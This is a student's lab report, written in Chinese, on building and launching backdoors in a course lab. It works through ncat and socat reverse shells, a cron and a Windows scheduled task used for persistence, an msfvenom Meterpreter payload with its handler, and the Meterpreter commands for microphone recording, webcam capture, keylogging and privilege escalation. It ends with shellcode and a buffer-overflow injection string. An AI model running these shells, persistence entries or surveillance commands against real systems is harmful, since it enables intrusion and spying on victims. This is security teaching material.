Exp2-后门原理与实践

发布时间 2023-03-23 21:25:38作者: 无响应trance少年

1.基础问题问答

(1)例举你能想到的一个后门进入到你系统中的可能方式?

答:在网络上下载了不安全的程序或是软件,将捡到的U盘插入自己的电脑,点击了具有安全风险的不明链接,这些东西都很有可能带有后门。后门通过这些途径进入电脑,导致系统中的一些隐私信息暴露。

(2)例举你知道的后门如何启动起来(win及linux)的方式?

答:windows中可以像这次实验中那样通过触发器或是直接点击后门程序exe文件。
linux中可以利用系统服务程序

(3)Meterpreter有哪些给你映像深刻的功能?

答:Meterpreter其具有的强大的监听能力,甚至能通过简单的一条命令生成后门令我印象深刻。

(4)如何发现自己有系统有没有被安装后门?

答:系统无法启动、经常死机、启动黑屏/蓝屏、数据丢失、系统自动执行操作、提示硬盘空间不够

2. 实验总结与体会

这个实验前面部分做下来十分顺利,一直到使用MSF生成shellcode,注入到实践1的程序中时遇到了问题,不知为什么按步骤做下来一直提示我broken pipe,用GDB一遍又一遍地调试不知道为什么还是不行,看着周围的人一样的步骤做下来都十分顺利地完成了,我当时其实已经焦躁不已,已经想放弃了,但就在第二天早上重新重试了一遍竟然很顺利地跑通了。现在回想,还是因为心态过于急躁且实验一相关知识的掌握还没能做到真正地举一反三,但我也体会到了不懈坚持的重要性,我很庆幸我没有过早放弃。

3. 实践过程

3.0 Ncat的一些使用与尝试

3.0.1 Windows获取kali的shell

在Windows中查看本机IP地址为172.16.211.3

Windows中使用ncat打开监听

ncat.exe -l -p 1315

在kali中反弹链接Windows ,-e用于执行shell

ncat 172.16.211.3 1315 -e /bin/sh

Windows成功获得了kali的shell

3.0.2 kali获得Windows的shell

kali中查看本机ip地址为192.168.136.129

kali中开启监听

nc -l -p 1315

Windows中反弹链接

kali ncat.exe -e cmd.exe 192.168.136.129 1315

kali成功获得了Windows的shell

3.0.3 kali向Windows中传输文件

Windows中通过ncat.exe -l 1315 > file.out监听1315端口,将收到的内容存储在file.out中

kali反弹链接Windows的1315端口nc 172.16.211.3 1315 < file.in

通过 type file.out 在Windows中查看接收到的内容

通过 cat file.in 在kali中查看发送的内容

3.0.4 Windows向kali中传输文件

kali中通过 nc -l -p 1315 > 20201315.txt 监听1315端口

Windows反弹连接linux的1313端口 ncat.exe 192.168.136.129 1315 < 1315.txt , linux可以收到Windows发来的文件,最后传输成功。

3.0.5 使用nc相互传输通信

Windows下监听1315 端口 ncat.exe -l 1315

kali反弹连接到Windows的1315端口 nc 172.16.211.3 1315

最后连接成功并相互通信

3.1 使用netcat获取主机操作Shell,cron启动

Windows下监听1315端口 ncat.exe -l -p 1315

kali中,通过 crontab -e 指令便捷定时任务, -e 表示编辑。第一次编辑时选择3

在打开的文件最后一行添加 55 * * * * /bin/netcat 172.16.211.3 1315 -e /bin/sh ,将时间设置为了55分

在系统时间9:55时,在Windows可以获取kali的shell

3.2 使用socat获取主机操作Shell, 任务计划启动

在Windows中下载socat并打开“计算机管理”,填写任务名称,并新建一个触发器

在操作->新建->程序或脚本中选择socat.exe文件的路径,在添加参数一栏填写tcp-listen:1315 exec:cmd.exe,pty,stderr

创建完成之后,点击任务计划程序库,运行创建的任务

此时,在Kali环境下输入指令socat - tcp:172.16.211.3:1315,成功获得了一个cmd shell

3.3 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

在Kali上执行指令

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.136.129 LPORT=1315 -f exe > 20201315_backdoor.exe

生成了后门程序:20201315_backdoor.exe

在windows上,通过ncat.exe -lv 1315> 20201315_backdoor.exe指令将被控制主机进入接受文件模式,-lv看到当前的连接状态

在kali中执行 nc 172.16.211.3 1315 < 20201315_backdoor.exe

传送接收文件成功

在Kali上使用msfconsole指令进入msf控制台

输入use exploit/multi/handler使用监听模块,设置payload

set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload

set LHOST 192.168.136.129 ,这里是kali的IP,和生成后门程序时指定的IP相同

set LPORT 1315,同样要使用相同的端口

show options,查看详细信息

设置完成后,执行监听exploit,在Windows下运行后门程序 20201315_backdoor.exe ,运行前应提前关闭杀毒软件的防护

3.4 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 使用record_mic 指令可以截获一段音频,使用 -d 设置录制时间,这里我选择设置时长为10s, -d 10

  • 使用 webcam_snap 指令可以使用摄像头进行拍照

  • 使用 keyscan_start 指令开始记录下击键的过程(需要在Windows中进行任意输入),使用 keyscan_dump 指令读取击键的记录

  • 使用 screenshot 指令可以进行截屏

  • 使用 getuid 指令查看当前用户,使用 getsystem 指令进行提权操作

3.5 加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.136.129 LPORT=1315 -f c生成shellcode为

\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0\xa8\x88\x81\x68\x02\x00\x05\x23\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80


用gdb调试找到返回地址0xffffd4c0

构造注入字符串

Perl -e 'print "A" x 32;print"\xc0\xd4\xff\xff\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0\xa8\x88\x81\x68\x02\x00\x05\x23\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"' > input

再开一个终端,配置msfconsole

msf6 > use exploit/multi/handler

[*] Using configured payload generic/shell_reverse_tcp

msf6 exploit(multi/handler) > set payload linux/x86/shell_reverse_tcp

payload => linux/x86/shell_reverse_tcp

msf6 exploit(multi/handler) > set LHOST 192.168.136.129

LHOST => 192.168.136.129

msf6 exploit(multi/handler) > set LPORT 1315

LPORT => 1315

打开exploit监听

在之前的终端输入(cat input;cat) | ./20201315exp1

最后攻击成功

4. 遇到的问题及解决

4.1 后门程序被删除

第一次在windows上运行后门程序时,因为没有关闭联想自带的杀毒软件McFee导致后门程序被删除,之后将其关闭并把文件恢复后顺利完成了攻击

4.2 msf生成的shellcode注入失败,一直提示broken pipe

这个问题困扰了我整整一天,我按步骤一步步来不知道为什么就是不行,再尝试了一天后还是没有解决,但是第二天早上打开电脑重头做一次时,关闭栈动态后发现esp的地址与昨天关闭栈动态后用gdb调出来的地址不一样了,我对返回地址进行了修改后发现一次成功了,就很神奇。